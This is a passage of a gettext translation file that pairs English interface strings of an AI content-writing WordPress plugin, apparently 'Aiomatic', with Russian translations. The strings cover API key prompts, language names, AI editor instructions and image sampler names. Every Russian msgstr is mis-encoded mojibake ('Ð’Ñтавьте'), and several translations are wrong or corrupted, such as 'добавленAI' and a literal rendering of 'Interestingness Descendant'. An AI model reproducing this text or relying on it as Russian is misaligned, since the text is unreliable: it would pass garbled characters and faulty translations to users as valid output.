your Google Text-to-Speech API Key. For Google API, get your API key " "here. This is used for the Chatbot text to " "speech feature." msgstr "" " Ð’Ñтавьте ключ Google Ð´Ð»Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь API. Ð”Ð»Ñ Google API " "получите ключ APIздеÑÑŒ. This is used for " "the Chatbot text to speech feature." #: res/aiomatic-main.php:6308 msgid "Insert your password for the selected premium spinner service." msgstr "Введите Ñвой пароль Ð´Ð»Ñ Ð²Ñ‹Ð±Ñ€Ð°Ð½Ð½Ð¾Ð¹ уÑлуги премиум-прÑдильщика." #: res/aiomatic-main.php:8035 #, php-format msgid "" "Insert your Pexels App ID. Learn how to get an API key here. If you enter an API Key and an API Secret, you " "will enable search for images using the Pexels API." msgstr "" "Ð’Ñтавьте Ñвой идентификатор Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Pexels. Узнайте, как получить ключ " "API here. ЕÑли вы введете ключ API и Ñекрет " "API, вы включите поиÑк изображений Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ API Pexels." #: res/aiomatic-main.php:2113 #, php-format msgid "" "Insert your Pinecone API Key. For Pinecone API, get your API key here." msgstr "" "Ð’Ñтавьте ключ API Pinecone. Ð”Ð»Ñ API Pinecone получите ключ API здеÑÑŒ ." #: res/aiomatic-main.php:8240 #, php-format msgid "" "Insert your Pixabay App ID. Learn how to get one here. If you enter an API Key here, you will enable " "search for images using the Pixabay API." msgstr "" "Ð’Ñтавьте Ñвой идентификатор Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Pixabay. Узнайте, как получить здеÑÑŒ. ЕÑли вы введете здеÑÑŒ ключ API, вы " "включите поиÑк изображений, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Pixabay API." #: res/aiomatic-main.php:2337 #, php-format msgid "" "Insert your PlagiarismCheck API Key. Learn how to get one here." msgstr "" "Ð’Ñтавьте Ñвой API-ключ PlagiarismCheck. Узнайте, как его получить здеÑÑŒ." #: res/aiomatic-main.php:2134 #, php-format msgid "" "Insert your Qdrant API Key. For Qdrant API, sign up for a Qdrant account here and afterwards, get your API key from the " "'Data Access Control' Tab from your Qdrant dashboard." msgstr "" "Ð’Ñтавьте Ñвой ключ API Qdrant. Ð”Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ API Qdrant зарегиÑтрируйте " "учетную запиÑÑŒ Qdrant здеÑÑŒ, а затем " "получите ключ API на вкладке «Контроль доÑтупа к данным» на панели " "инÑтрументов Qdrant." #: res/aiomatic-main.php:2052 #, php-format msgid "" "Insert your Stability.AI API Keys (one per line). For Stability.AI API, get " "your Stability.AI key here." msgstr "" "Ð’Ñтавьте ключи API Stability.AI (по одному на Ñтроку). Чтобы получить " "Stability.AI API, получите ключ Stability.AI " "здеÑÑŒ ." #: res/aiomatic-main.php:2314 #, php-format msgid "" "Insert your TextRazor API Key. Learn how to get one here. This is used when extracting relevant keywords " "from longer texts. Adding an API key here can greatly improve royalty free " "image accuracy." msgstr "" "Ð’Ñтавьте Ñвой ключ API TextRazor. Узнайте, как получить один здеÑÑŒ . Это иÑпользуетÑÑ Ð¿Ñ€Ð¸ извлечении релевантных " "Ключевых Слов из более длинных текÑтов. Добавление здеÑÑŒ ключа API может " "значительно улучшить точноÑÑ‚ÑŒ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð±ÐµÐ· лицензионных отчиÑлений." #: res/aiomatic-main.php:6287 msgid "Insert your user name on premium spinner service." msgstr "Ð’Ñтавьте Ñвое Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð½Ð° премиум Ñпиннер." #: res/aiomatic-main.php:2360 #, php-format msgid "" "Insert your YouTube API Key. Learn how to get one here. This is used when adding YouTube videos to your " "post content. You can also enter a comma separated list of multiple API keys." " This is optional, the Related Videos feature will work also without an API " "key entered." msgstr "" "Ð’Ñтавьте Ñвой API-ключ YouTube. Узнайте, как получить один здеÑÑŒ . Это иÑпользуетÑÑ Ð¿Ñ€Ð¸ добавленAI видео YouTube в " "Контент вашего ПоÑта. Ð’Ñ‹ также можете ввеÑти Разделенный запÑтыми ÑпиÑок " "неÑкольких ключей API. Это необÑзательно, Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Â«ÐŸÐ¾Ñ…Ð¾Ð¶Ð¸Ðµ видео» будет " "работать и без ввода ключа API." #: res/aiomatic-logs.php:340 msgid "Installed" msgstr "УÑтановлен" #: res/aiomatic-chatbot.php:4018 msgid "Instant Response" msgstr "Мгновенный ответ" #: res/aiomatic-spinner-list.php:1104 #, php-format msgid "" "Instruction for the AI editor, to edit post content. Please specify your " "instruction without adding the %%post_content%% shortcode, as the content " "will be automatically added at processing time. Nested shortcodes from other " "plugins also supported here. You can also use the following shortcodes: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to usersm using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." msgstr "" "ИнÑÑ‚Ñ€ÑƒÐºÑ†Ð¸Ñ Ð´Ð»Ñ AI-редактора по редактированию Ñодержимого поÑта. ПожалуйÑта, " "укажите Ñвою инÑтрукцию, не добавлÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´ %%post_content%%, так как " "контент будет автоматичеÑки добавлен во Ð²Ñ€ÐµÐ¼Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸. ЗдеÑÑŒ также " "поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды из других плагинов. Ð’Ñ‹ также можете " "иÑпользовать Ñледующие короткие коды: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете " "иÑпользовать наÑтраиваемые Ð¿Ð¾Ð»Ñ (мета-ÑообщениÑ), назначенные поÑтам, Ñ " "помощью пользовательÑких коротких кодов в Ñтом формате: " "%%~custom_field_slug~%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие " "Ð¼ÐµÑ‚Ð°Ð¿Ð¾Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ (мета пользователÑ), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм " "Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких коротких кодов в Ñтом формате: " "%%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, " "импортированные из наÑтраиваемого Ð¿Ð¾Ð»Ñ post_data, вам Ñледует иÑпользовать " "Ñтот короткий код: %%!post_data!%%. Длина Ñтой команды не должна превышать " "макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках Ð´Ð»Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹ " "промпта. Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие " "коды, Ñозданные правилами других плагинов)." #: res/aiomatic-spinner-list.php:1140 #, php-format msgid "" "Instruction for the AI editor, to edit post excerpt. Please specify your " "instruction without adding the %%post_excerpt%% shortcode, as the excerpt " "will be automatically added at processing time. Nested shortcodes from other " "plugins also supported here. You can also use the following shortcodes: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to usersm using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." msgstr "" "ИнÑÑ‚Ñ€ÑƒÐºÑ†Ð¸Ñ Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¾Ñ€Ð° AI по редактированию отрывка поÑта. ПожалуйÑта, " "укажите Ñвою инÑтрукцию, не добавлÑÑ ÐºÐ¾Ñ€Ð¾Ñ‚ÐºÐ¸Ð¹ код %%post_excerpt%%, так как " "отрывок будет автоматичеÑки добавлен во Ð²Ñ€ÐµÐ¼Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸. ЗдеÑÑŒ также " "поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды из других плагинов. Ð’Ñ‹ также можете " "иÑпользовать Ñледующие короткие коды: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете " "иÑпользовать наÑтраиваемые Ð¿Ð¾Ð»Ñ (мета-ÑообщениÑ), назначенные ÑообщениÑм, Ñ " "помощью пользовательÑких коротких кодов в Ñтом формате: %%!custom_field_slug!" "%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¼ÐµÑ‚Ð°Ð¿Ð¾Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ " "(мета пользователÑ), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ " "пользовательÑких коротких кодов в Ñтом формате: %%~custom_field_slug~%%. " "Пример: еÑли вы хотите добавить данные, импортированные из наÑтраиваемого " "Ð¿Ð¾Ð»Ñ post_data, вам Ñледует иÑпользовать Ñтот короткий код: %%!post_data!%%. " "Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, " "уÑтановленное в наÑтройках Ð´Ð»Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹ промпта. Обновление: также " "поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами " "других плагинов)." #: res/aiomatic-spinner-list.php:1068 #, php-format msgid "" "Instruction for the AI editor, to edit post title. Please specify your " "instruction without adding the %%post_title%% shortcode, as the content will " "be automatically added at processing time. Nested shortcodes from other " "plugins also supported here. You can also use the following shortcodes: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to usersm using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." msgstr "" "ИнÑÑ‚Ñ€ÑƒÐºÑ†Ð¸Ñ Ð´Ð»Ñ AI-редактора по редактированию заголовка поÑта. ПожалуйÑта, " "укажите Ñвою инÑтрукцию, не добавлÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´ %%post_title%%, так как контент " "будет автоматичеÑки добавлен во Ð²Ñ€ÐµÐ¼Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸. ЗдеÑÑŒ также поддерживаютÑÑ " "вложенные шорткоды из других плагинов. Ð’Ñ‹ также можете иÑпользовать " "Ñледующие короткие коды: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете " "иÑпользовать наÑтраиваемые Ð¿Ð¾Ð»Ñ (мета-ÑообщениÑ), назначенные ÑообщениÑм, Ñ " "помощью пользовательÑких коротких кодов в Ñтом формате: %%!custom_field_slug!" "%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¼ÐµÑ‚Ð°Ð¿Ð¾Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ " "(мета пользователÑ), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ " "пользовательÑких коротких кодов в Ñтом формате: %%~custom_field_slug~%%. " "Пример: еÑли вы хотите добавить данные, импортированные из наÑтраиваемого " "Ð¿Ð¾Ð»Ñ post_data, вам Ñледует иÑпользовать Ñтот короткий код: %%!post_data!%%. " "Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, " "уÑтановленное в наÑтройках Ð´Ð»Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹ промпта. Обновление: также " "поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами " "других плагинов)." #: res/aiomatic-spinner-list.php:1108 msgid "Instructions to Send For the AI Editor (Content Editing):" msgstr "ИнÑтрукции по отправке Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¾Ñ€Ð° AI (редактирование Контента):" #: res/aiomatic-spinner-list.php:1144 msgid "Instructions to Send For the AI Editor (Excerpt Editing):" msgstr "ИнÑÑ‚Ñ€ÑƒÐºÑ†Ð¸Ñ Ð¿Ð¾ отправке Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¾Ñ€Ð° AI (Редактирование ÐнонÑа):" #: res/aiomatic-spinner-list.php:1072 msgid "Instructions to Send For the AI Editor (Title Editing):" msgstr "ИнÑтрукции по отправке Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¾Ñ€Ð° AI (редактирование заголовка):" #: res/aiomatic-limits-statistics.php:189 #: res/aiomatic-limits-statistics.php:1589 msgid "Integration with 'Ultimate Membership Pro'" msgstr "Ð˜Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ Ñ Â«Ultimate Membership Pro»" #: res/aiomatic-chatbot.php:3416 res/aiomatic-spinner-list.php:3636 msgid "Interactive Voice Response (IVR) system" msgstr "СиÑтема Интерактивного ГолоÑового Ответа (IVR)" #: res/aiomatic-main.php:8214 msgid "Interestingness Ascendant" msgstr "Ð˜Ð½Ñ‚ÐµÑ€ÐµÑ ÐÑцендент" #: res/aiomatic-main.php:8207 msgid "Interestingness Descendant" msgstr "ИнтереÑноÑÑ‚ÑŒ Потомка" #: res/aiomatic-amazon-list.php:1225 res/aiomatic-amazon-list.php:3763 #: res/aiomatic-csv-list.php:579 res/aiomatic-csv-list.php:1734 #: res/aiomatic-review-list.php:1294 res/aiomatic-review-list.php:3916 #: res/aiomatic-rules-list.php:1427 res/aiomatic-rules-list.php:4164 #: res/aiomatic-single-list.php:1234 res/aiomatic-single-list.php:2131 #: res/aiomatic-single-list.php:2866 res/aiomatic-single-list.php:4119 #: res/aiomatic-single-list.php:5433 res/aiomatic-single-list.php:6799 #: res/aiomatic-spinner-list.php:2110 res/aiomatic-youtube-list.php:1181 #: res/aiomatic-youtube-list.php:3674 msgid "Internal Links" msgstr "Внутренние СÑылки" #: res/aiomatic-main.php:2218 msgid "Internet Access / Related Headings API Keys:" msgstr "ДоÑтуп в Интернет / Ключи API ÑвÑзанных рубрик:" #: aiomatic-ajax-actions.php:4847 aiomatic-ajax-actions.php:4960 msgid "Invalid file type submitted." msgstr "ПредÑтавлен неверный тип файла." #: aiomatic-ajax-actions.php:5186 #: aiomatic-automatic-ai-content-writer.php:22168 aiomatic-streaming.php:126 msgid "Invalid frequency_penalty provided: " msgstr "Указан недопуÑтимый Frequency_penalty:" #: aiomatic-ajax-actions.php:5154 #: aiomatic-automatic-ai-content-writer.php:22144 aiomatic-streaming.php:94 msgid "Invalid model provided: " msgstr "Указана Ð½ÐµÐ²ÐµÑ€Ð½Ð°Ñ Ð¼Ð¾Ð´ÐµÐ»ÑŒ:" #: aiomatic-ajax-actions.php:5181 #: aiomatic-automatic-ai-content-writer.php:22163 aiomatic-streaming.php:121 msgid "Invalid presence_penalty provided: " msgstr "Указан неверный вариант presence_penaltyп:" #: aiomatic-ajax-actions.php:5171 #: aiomatic-automatic-ai-content-writer.php:22153 aiomatic-streaming.php:111 msgid "Invalid temperature provided: " msgstr "Указана Ð½ÐµÐ²ÐµÑ€Ð½Ð°Ñ Ñ‚ÐµÐ¼Ð¿ÐµÑ€Ð°Ñ‚ÑƒÑ€Ð°:" #: aiomatic-ajax-actions.php:5176 #: aiomatic-automatic-ai-content-writer.php:22158 aiomatic-streaming.php:116 msgid "Invalid top_p provided: " msgstr "Указан неверный top_p:" #: res/aiomatic-limits-statistics.php:692 msgid "IP" msgstr "IP" #: res/aiomatic-limits-statistics.php:473 msgid "IP: The IP address from which the request was made." msgstr "IP: IP-адреÑ, Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ был Ñделан запроÑ." #: res/aiomatic-amazon-list.php:33 res/aiomatic-review-list.php:33 #: res/aiomatic-rules-list.php:33 res/aiomatic-single-list.php:33 #: res/aiomatic-single-list.php:171 res/aiomatic-youtube-list.php:33 msgid "Irish" msgstr "ИрландÑкий" #: res/aiomatic-languages.php:31 msgid "Irish (Google Translate)" msgstr "ИрландÑкий (переводчик Google)" #: res/aiomatic-logs.php:430 msgid "Is CRON running" msgstr "CRON работает" #: res/aiomatic-main.php:2796 msgid "isometric" msgstr "изометричеÑкий" #: res/aiomatic-amazon-list.php:8 res/aiomatic-main.php:8563 #: res/aiomatic-review-list.php:8 res/aiomatic-rules-list.php:8 #: res/aiomatic-single-list.php:8 res/aiomatic-single-list.php:146 #: res/aiomatic-youtube-list.php:8 msgid "Italian" msgstr "ИтальÑнÑкаÑ" #: res/aiomatic-languages.php:32 msgid "Italian (Google Translate)" msgstr "ИтальÑнÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:545 res/aiomatic-amazon-list.php:3161 #: res/aiomatic-review-list.php:472 res/aiomatic-review-list.php:3146 #: res/aiomatic-rules-list.php:478 res/aiomatic-rules-list.php:3313 #: res/aiomatic-single-list.php:1431 res/aiomatic-single-list.php:3419 #: res/aiomatic-single-list.php:4753 res/aiomatic-single-list.php:5977 #: res/aiomatic-youtube-list.php:481 res/aiomatic-youtube-list.php:3046 msgid "Italic" msgstr "КурÑивный" #: aiomatic-helpers.php:1487 msgid "Italy" msgstr "ИталиÑ" #: res/aiomatic-main.php:1672 msgid "Item ID:" msgstr "ID Ñлемента" #: res/aiomatic-main.php:1670 msgid "Item Name:" msgstr "Ðазвание товара:" #: res/aiomatic-amazon-list.php:4529 res/aiomatic-csv-list.php:1532 #: res/aiomatic-review-list.php:4682 res/aiomatic-rules-list.php:4918 #: res/aiomatic-youtube-list.php:4457 msgid "Item Type" msgstr "Тип объÑвлениÑ" #: res/aiomatic-amazon-list.php:1942 res/aiomatic-csv-list.php:391 #: res/aiomatic-review-list.php:2011 res/aiomatic-rules-list.php:2140 #: res/aiomatic-youtube-list.php:1913 msgid "Item Type:" msgstr "Тип вещи:" #: aiomatic-helpers.php:1486 msgid "Japan" msgstr "ЯпониÑ" #: res/aiomatic-amazon-list.php:34 res/aiomatic-main.php:8643 #: res/aiomatic-review-list.php:34 res/aiomatic-rules-list.php:34 #: res/aiomatic-single-list.php:34 res/aiomatic-single-list.php:172 #: res/aiomatic-youtube-list.php:34 msgid "Japanese" msgstr "ЯпонÑкаÑ" #: res/aiomatic-languages.php:33 msgid "Japanese (Google Translate)" msgstr "ЯпонÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:82 res/aiomatic-review-list.php:82 #: res/aiomatic-rules-list.php:82 res/aiomatic-single-list.php:82 #: res/aiomatic-single-list.php:220 res/aiomatic-youtube-list.php:82 msgid "Javanese" msgstr "ЯванÑкий" #: res/aiomatic-languages.php:82 msgid "Javanese (Google Translate)" msgstr "ЯванÑкий (переводчик Google)" #: res/other/plugin-dash.php:491 msgid "" "Just download the plugin from CodeCanyon and install it to your site in a " "few seconds." msgstr "" "ПроÑто Ñкачайте Плагин Ñ CodeCanyon и уÑтановите его на Ñвой Ñайт за " "неÑколько Ñекунд." #: res/aiomatic-main.php:2886 msgid "K_DPM_2" msgstr "K_DPM_2" #: res/aiomatic-main.php:2891 msgid "K_DPM_2_ANCESTRAL" msgstr "K_DPM_2_ANCESTRAL" #: res/aiomatic-main.php:2876 msgid "K_DPMPP_2M" msgstr "K_DPMPP_2M" #: res/aiomatic-main.php:2881 msgid "K_DPMPP_2S_ANCESTRAL" msgstr "K_DPMPP_2S_ANCESTRAL" #: res/aiomatic-main.php:2896 msgid "K_EULER" msgstr "K_EULER" #: res/aiomatic-main.php:2901 msgid "K_EULER_ANCESTRAL" msgstr "K_EULER_ANCESTRAL" #: res/aiomatic-main.php:2906 msgid "K_HEUN" msgstr "K_HEUN" #: res/aiomatic-main.php:2911 msgid "K_LMS" msgstr "K_LMS" #: res/aiomatic-amazon-list.php:60 res/aiomatic-review-list.php:60 #: res/aiomatic-rules-list.php:60 res/aiomatic-single-list.php:60 #: res/aiomatic-single-list.php:198 res/aiomatic-youtube-list.php:60 msgid "Kannada" msgstr "Каннада" #: res/aiomatic-languages.php:60 msgid "Kannada (Google Translate)" msgstr "Каннада (переводчик Google)" #: res/aiomatic-amazon-list.php:83 res/aiomatic-review-list.php:83 #: res/aiomatic-rules-list.php:83 res/aiomatic-single-list.php:83 #: res/aiomatic-single-list.php:221 res/aiomatic-youtube-list.php:83 msgid "Kazakh" msgstr "КазахÑкий" #: res/aiomatic-languages.php:83 msgid "Kazakh (Google Translate)" msgstr "КазахÑкий (переводчик гугл)" #: aiomatic-automation.php:310 msgid "Keyword" msgstr "Ключевое Слово" #: res/aiomatic-main.php:7109 msgid "Keyword Extractor Model (Optional):" msgstr "Модель Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐšÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Слов (необÑзательно):" #: res/aiomatic-main.php:7041 msgid "Keyword Extractor Prompt (Optional):" msgstr "Промпт Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐšÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Слов (необÑзательно):" #: res/aiomatic-main.php:30 msgid "Keyword Replacer" msgstr "Заменитель Ключевых Слов" #: res/aiomatic-automation-list.php:2527 msgid "Keywords" msgstr "Ключевые Слова" #: res/aiomatic-amazon-list.php:84 res/aiomatic-review-list.php:84 #: res/aiomatic-rules-list.php:84 res/aiomatic-single-list.php:84 #: res/aiomatic-single-list.php:222 res/aiomatic-youtube-list.php:84 msgid "Khmer" msgstr "КхмерÑкий" #: res/aiomatic-languages.php:84 msgid "Khmer (Google Translate)" msgstr "КхмерÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:119 res/aiomatic-review-list.php:119 #: res/aiomatic-rules-list.php:119 res/aiomatic-single-list.php:119 #: res/aiomatic-single-list.php:257 res/aiomatic-youtube-list.php:119 msgid "Kinyarwanda" msgstr "КиньÑруанда" #: res/aiomatic-languages.php:120 msgid "Kinyarwanda (Google Translate)" msgstr "КиньÑрванда (Google Translate)" #: res/aiomatic-amazon-list.php:120 res/aiomatic-review-list.php:120 #: res/aiomatic-rules-list.php:120 res/aiomatic-single-list.php:120 #: res/aiomatic-single-list.php:258 res/aiomatic-youtube-list.php:120 msgid "Konkani" msgstr "Конкани" #: res/aiomatic-languages.php:121 msgid "Konkani (Google Translate)" msgstr "Конкани (Переводчик Google)" #: res/aiomatic-amazon-list.php:35 res/aiomatic-main.php:8648 #: res/aiomatic-review-list.php:35 res/aiomatic-rules-list.php:35 #: res/aiomatic-single-list.php:35 res/aiomatic-single-list.php:173 #: res/aiomatic-youtube-list.php:35 msgid "Korean" msgstr "корейÑкий Ñзык" #: res/aiomatic-languages.php:34 msgid "Korean (Google Translate)" msgstr "КорейÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:121 res/aiomatic-review-list.php:121 #: res/aiomatic-rules-list.php:121 res/aiomatic-single-list.php:121 #: res/aiomatic-single-list.php:259 res/aiomatic-youtube-list.php:121 msgid "Krio" msgstr "Крио" #: res/aiomatic-languages.php:122 msgid "Krio (Google Translate)" msgstr "Крио (Переводчик Google)" #: res/aiomatic-amazon-list.php:85 res/aiomatic-review-list.php:85 #: res/aiomatic-rules-list.php:85 res/aiomatic-single-list.php:85 #: res/aiomatic-single-list.php:223 res/aiomatic-youtube-list.php:85 msgid "Kurdish" msgstr "КурдÑкий" #: res/aiomatic-languages.php:85 msgid "Kurdish (Google Translate)" msgstr "КурдÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:122 res/aiomatic-review-list.php:122 #: res/aiomatic-rules-list.php:122 res/aiomatic-single-list.php:122 #: res/aiomatic-single-list.php:260 res/aiomatic-youtube-list.php:122 msgid "Kurdish - Sorani" msgstr "КурдÑкий - Сорани" #: res/aiomatic-languages.php:123 msgid "Kurdish - Sorani (Google Translate)" msgstr "КурдÑкий - Сорани (Google Translate)" #: res/aiomatic-amazon-list.php:86 res/aiomatic-review-list.php:86 #: res/aiomatic-rules-list.php:86 res/aiomatic-single-list.php:86 #: res/aiomatic-single-list.php:224 res/aiomatic-youtube-list.php:86 msgid "Kyrgyz" msgstr "КыргызÑкий" #: res/aiomatic-languages.php:86 msgid "Kyrgyz (Google Translate)" msgstr "КыргызÑкий (переводчик Google)" #: res/aiomatic-shortcodes.php:17 msgid "Label*" msgstr "Этикетка*" #: res/aiomatic-logs.php:162 res/aiomatic-logs.php:403 #: res/aiomatic-single-list.php:657 msgid "Language" msgstr "Язык" #: res/aiomatic-logs.php:162 msgid "Language:" msgstr "Язык:" #: res/aiomatic-amazon-list.php:87 res/aiomatic-review-list.php:87 #: res/aiomatic-rules-list.php:87 res/aiomatic-single-list.php:87 #: res/aiomatic-single-list.php:225 res/aiomatic-youtube-list.php:87 msgid "Lao" msgstr "ЛаоÑÑкий" #: res/aiomatic-languages.php:87 msgid "Lao (Google Translate)" msgstr "Лао (переводчик Google)" #: aiomatic-automatic-ai-content-writer.php:12757 #: res/aiomatic-automation-list.php:5331 msgid "" "Last OmniBlock is not a \"Action\" type block! All data created after the " "last \"Action\" type block will be lost." msgstr "" "ПоÑледний OmniBlock не ÑвлÑетÑÑ Ð±Ð»Ð¾ÐºÐ¾Ð¼ типа «ДейÑтвие»! Ð’Ñе данные, " "Ñозданные поÑле поÑледнего блока типа «ДейÑтвие», будут потерÑны." #: res/aiomatic-amazon-list.php:2378 res/aiomatic-automation-list.php:4941 #: res/aiomatic-csv-list.php:925 res/aiomatic-review-list.php:2447 #: res/aiomatic-rules-list.php:2576 res/aiomatic-youtube-list.php:2349 msgid "Last Page" msgstr "ПоÑледнÑÑ Ñтраница" #: res/aiomatic-amazon-list.php:4731 res/aiomatic-automation-list.php:7424 #: res/aiomatic-csv-list.php:1835 res/aiomatic-review-list.php:4884 #: res/aiomatic-rules-list.php:5121 res/aiomatic-youtube-list.php:4659 msgid "Last Run: " msgstr "ПоÑледний запуÑк: " #: res/aiomatic-main.php:8313 res/aiomatic-main.php:8832 msgid "Latest" msgstr "Свежий" #: res/other/plugin-dash.php:119 msgid "Latest News" msgstr "ПоÑледние новоÑти" #: res/aiomatic-amazon-list.php:63 res/aiomatic-review-list.php:63 #: res/aiomatic-rules-list.php:63 res/aiomatic-single-list.php:63 #: res/aiomatic-single-list.php:201 res/aiomatic-youtube-list.php:63 msgid "Latin" msgstr "Latin" #: res/aiomatic-languages.php:63 msgid "Latin (Google Translate)" msgstr "Латиница (переводчик Google)" #: res/aiomatic-amazon-list.php:36 res/aiomatic-review-list.php:36 #: res/aiomatic-rules-list.php:36 res/aiomatic-single-list.php:36 #: res/aiomatic-single-list.php:174 res/aiomatic-youtube-list.php:36 msgid "Latvian" msgstr "ЛатышÑкий" #: res/aiomatic-languages.php:35 msgid "Latvian (Google Translate)" msgstr 